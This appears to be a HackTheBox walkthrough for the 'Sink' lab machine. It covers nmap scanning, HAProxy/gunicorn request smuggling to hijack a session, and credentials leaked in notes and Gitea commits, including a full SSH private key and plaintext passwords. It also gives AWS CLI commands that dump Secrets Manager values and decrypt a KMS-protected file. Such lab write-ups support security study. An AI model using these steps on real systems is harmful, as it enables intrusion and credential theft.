HackTheBox: Sink Machine (insane difficulty) Walkthrough
Sink HTB machine
In this writeup, I will show the steps of penetration testing of the Sink HTB machine. First, thing first lets run nmap on the machine
Scanning and Enumeration
initial phase involved scanning the target system to identify open ports and services. We used the nmap tool with the following command:
nmap -sC 10.10.10.225
Nmap scan report for 10.10.10.225
Host is up (0.26s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
3000/tcp open ppp
5000/tcp open upnp
HTTP port 5000
there is a website running on port 5000 which has the following functionality: User registration: Users can sign up for accounts on the platform. Note submission/deletion: Registered users can submit and delete notes.
any user can signup on the signup form
After signing up, user can submit/delete notes
this could be juicy area as I can find idor for example and chain it with other vulnerabilites
so, I captured the request of submitting notes
the response shows it contain reverse proxy/load-balancer called HAProxy and the server running is gunicorn/20.0.0 reverse-proxy are usually used for checking multiple servers if one server is down it will send to the next
after searching I find that there is a CVE on HAProxy CVE-2019–18277 https://nathandavison.com/blog/haproxy-http-request-smuggling
and luckly there was a DefCon CTF having the same combination of HAProxy and gunicorn
as far as I understand that this works as when we interact with this website it first sends the request to the reverse-proxy which is (haproxy) first, then to gunicorn and they both allow chunking request (meaning sending multiple HTTP request in one single packet)
HAProxy and gunicorn uses different headers. the reverse proxy (HAProxy) accept content-length and will ignore Transfer-Encoding header and depend on the content-length but the gunicorn server will accept the transfer-encoding header
as The Content-Length header tells you how many bytes are in the request or response body. If you forget to include the Content-Length header, the HTTP server will automatically use a Transfer-Encoding: chunked header. you shouldn’t use both Content-Length and Transfer-Encoding headers together. as when this happens, the receiver won’t be able to figure out how long the body is or estimate how long it will take to download. If you do include a Content-Length header, make sure it matches the actual byte count of the body. If it doesn’t match, the receiver might not behave as expected.
so, the attack is as follows:
and lets wait for notes to be send as this will get combined with the next request together at the gunicorn server and will pass the next request on the note parameter
this is the next request containg the session
adding it to our request to view /notes
Access to Critical Credentials
the notes contain credentials the first note contain:
Chef Login : http://chef.sink.htb Username : chefadm Password : /6'fEGC&zEx{4]zz
second note Dev Node URL : http://code.sink.htb Username : root Password : FaH@3L>Z3})zzfQ3
third note
Nagios URL : https://nagios.sink.htb Username : nagios_adm Password : g8<H6GK\{*L.fB3C
Gitea - TCP port 3000 on port 3000
there is an instance of devops platform called gitea entering the second note credential allowed me to enter and view the code
viewing the commits on repos there is a repo called Key_Management
and contain the id_rsa_marcus
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
and seeing commits on Log_Management repo there is one leaking aws key and secret
user as marcus chmod 600 dev_keysssh -i dev_keys marcus@10.10.10.225
SSH Access and AWS Credentials
using aws credential that was found before on Log_Management repo
first, configure aws aws configure
AWS have secret manager which give developers ability to hardcode their credential on code and do API call to the secert manager to retrive the credential
to list these secrets id aws --endpoint-url="http://127.0.0.1:4566/" secretsmanager list-secrets
now we have 3 ARN values which we can retrive value of them
arn:aws:secretsmanager:us-east-1:1234567890:secret:Jenkins Login-nnEwi
arn:aws:secretsmanager:us-east-1:1234567890:secret:Sink Panel-puoRL
arn:aws:secretsmanager:us-east-1:1234567890:secret:Jira Support-dxAXV
to get the secret value of each of them
aws --endpoint-url="http://127.0.0.1:4566/" secretsmanager get-secret-value --secret-id "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jenkins Login-nnEwi"
aws --endpoint-url="http://127.0.0.1:4566/" secretsmanager get-secret-value --secret-id "arn:aws:secretsmanager:us-east-1:1234567890:secret:Sink Panel-puoRL"
aws --endpoint-url="http://127.0.0.1:4566/" secretsmanager get-secret-value --secret-id "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jira Support-dxAXV"
given that there is a user on this machine called david
login as david
su david
on david home directory there is a directory called Projects and inside it another directory called prod_deployment and there is a file servers.enc
which is encrypted file. given that amazon web service (AWS) offer an encryption/decryption and key management service. Decryption of Encrypted File
on aws-cli, we need to list keys aws --endpoint-url="http://127.0.0.1:4566/" kms list-keys
save all these keys in a file to try to decrypt the .enc with them aws --endpoint-url="http://127.0.0.1:4566/" kms list-keys | grep "KeyId" | cut -d '"' -f4 > key.txt
running a bash script to automate all these keys for key in $(cat key.txt); do aws --endpoint-url="http://127.0.0.1:4566/" kms enable-key --key-id "${key}" aws kms decrypt \ --ciphertext-blob "fileb:///home/david/Projects/Prod_Deployment/servers.enc" \ --endpoint-url="http://127.0.0.1:4566/" \ --key-id $key \ --encryption-algorithm "RSAES_OAEP_SHA_256" \ --output text \ --query Plaintext > $key.out done
after running it the key file 804125db-bdf1-465a-a058-07fc87c0fad0.out contain base64 encoding text
decoding the base64 and add it to a file cat 804125db-bdf1-465a-a058-07fc87c0fad0.out | base64 -d > encoded
running file on it shows it is gzip file file encoded
extracting it
mv encoded encoded.gz
gzip -d encoded.gz
and there is creds of admin there
trying to login as root with these creds